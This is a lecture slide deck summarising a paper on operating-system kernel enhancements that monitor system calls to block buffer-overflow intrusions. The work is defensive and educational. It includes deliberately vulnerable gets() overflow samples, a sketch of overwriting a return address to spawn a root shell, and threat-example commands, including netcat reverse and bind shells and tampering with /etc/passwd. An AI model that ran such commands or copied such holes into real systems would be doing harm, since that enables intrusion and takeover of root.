Operating system enhancements to prevent misuse of systems

Operating System enhancements to
prevent misuse of Systems Calls
Dayal Dilli
ddilli@unb.ca
March 25, 2013

Outline
• Operating System Security Vulnerabilities and
concepts
• Buffer overflow exploit
• System Calls and Kernel Data structures
misuse.
• Access control Databases, Audit Files and
Reference Monitors.
• Performance Evaluation with protection
mechanism.

Operating System Security
• Protect system from Executing un authorized
code.
– Protect un authorized execution of Kernel Code.
e.g. System Call.
– Protect critical memory areas from corruption

Top Operating System Vulnerabilities
• Buffer Overflow attacks
• Denial of Service attacks
• Viruses and Trojans

Buffer overflow
• Buffer is a piece of memory
– Stack e.g. local variable like arrays
– Heap e.g. Dynamically allocated memory

Stack Overflow
main()
{
char buffer[10]; //Stack
gets(buffer);
puts(buffer);
}

Heap Overflow
main()
{
char *buffer;
buffer=(char *)malloc(10); //Heap
gets(buffer); //buffer more than 10 bytes
puts(buffer);
}

Exploiting Stack Overflow
• Make the content of
Buffer[] overflow
• Well-craft the content
of Buffer to overwrite
RET with the address of
attackers malicious
code.
• Malicious code includes
spawning a root shell
using exec, binding it a
port using net cat etc..

Example
• Normal Run
– Buffer*+ = ‘ABCDEFGH’ – runs properly – 8 bytes

• Exploit
– Buffer*+ = ‘ABCDEFGHIJKL<address to malicious
code>’
– Malicious code contains systems calls like exec
that can run a shell.

What happened in the previous slides?
• Critical memory areas got corrupted
• We used exec system call to spawn a shell
• Apart from this, unprotected access to system
calls also leads to resource starvation causing
Denial of Service attacks.

Prevention of Attacks
• Monitoring of system calls made by the
processes.
• Blocking malicious invocation of system call
from completion.
• The paper proposes mechanism of
interception of system call at Kernel level.

Methodology
• Detect illegal invocation of system calls.
• Reference Monitor the system calls.
• Check the arguments of the system calls.
• Implement a light weight change without
much changes to the existing Kernel data
structures and algorithms.

Approach
• Key Terms:
– Reference functions
– Authorization functions
– Access control Database
– Access Control Rules

Kernel Enhancements
• Not all System calls are malicious.
• Identify the subset of system calls for
monitoring.
• The paper mainly focuses on the prototype
implemented to prevent Buffer Overflow
based intrusion attacks.

Root Access?

• How to get Root Access on the system?
– Exploit any vulnerability(e.g. buffer overflow) on
any of the running root processes.

Categories of Root Process
• Interactive
– Process started by super user. Threat level is nil as
user has full control of the process.
• Background
– Daemon programs started at booting, cron jobs.
• e.g. httpd, ftp, mysqld, processes started with ‘&’ in the
end.
• Generally, any process with UID and EUID
equaling 0.

System Call Categories and Threat
Level

Threat Level Classification
• System calls in group 1 – 3 comes under
Threat Level 1.
• System calls in group 4-9 no so malicious to be
misused

System calls with threat level 1 and 2

Threat level – 1 System Calls

Threat examples
• Chmod(“/etc/passwd”, 0666)
Chown(“/etc/passwd”, intruder, intruder_group)
Rename(“/tmp/passwd”,”/etc/passwd”)

• Unlink(“/etc/passwd”)
Link(“/tmp/passwd”,”/etc/passwd”)

• nc <ip> <port> -e /bin/bash
• nc –l –p <port> -e /bin/bash

Implementation
• New Data structures to implement the Access
control Database (ACD).
• New System call to read, write and update the
ACD and the reference functions.

Authorization and Reference functions
• Checks for root privilege and subsequent access
to system calls.
Data Structures:
• setuid_acd - contains root passwd
• execve_acd
– Struct exe_file_id
– Struct executable_file
– Struct executable_file_list

sys_setuid_aclm/ aclmng
• System call to read and modify ACD. Acts as
the common front end for all methods on
ACD.
• Processes with UID and EUID =0 can only
access.
• Provides concurrent access between two root
process using lock variable write_pid.

Sys_setuid_aclm methods
• PUT(exe_file, suid_prog, list)
• DELETE(exe_file, suid_prog, list)
• GET(exe_file, suid_prog, param)
– Param->file_nr, Param->prog_nr from Param->list

check_rootproc
• Reference function that authenticates the
execution of execve by a root process.
– Denial:
• EXENA: process not in ACD or not authenticated
• EFNA: File not authenticated

Examples
• Setuid(0) / su
– Checks password

• Chmod / Chown
– Process: background
– File: any regular file/ directory
– Checks process/ file from ACD along with
Password.

Performance
• Only Limited Reduction in Performance
• Reasons:
– Only 10% of the system calls include Access check.
– Only limited number of process execute all check.
– No changes with the user mode process.
– All data structures need for check are in kernel
memory.

Evaluation
• Pentium II, 330 MHz with 128 MB RAM, Linux
Kernel Version 2.2.12.

Related Works and Conclusion
• Linker warning to check dangerous function
calls. e.g. gets, strcpy
• Non-executable stack.
• Stackguard in gcc– commercial tool prevents
return address modification using canary
word.
• Stackshield in gcc- moves return address to un
over flow-able location. e.g. beginning of data
section.

Operating system enhancements to prevent misuse of systems

More Related Content

What's hot (20)

Viewers also liked (20)

Similar to Operating system enhancements to prevent misuse of systems (20)

Operating system enhancements to prevent misuse of systems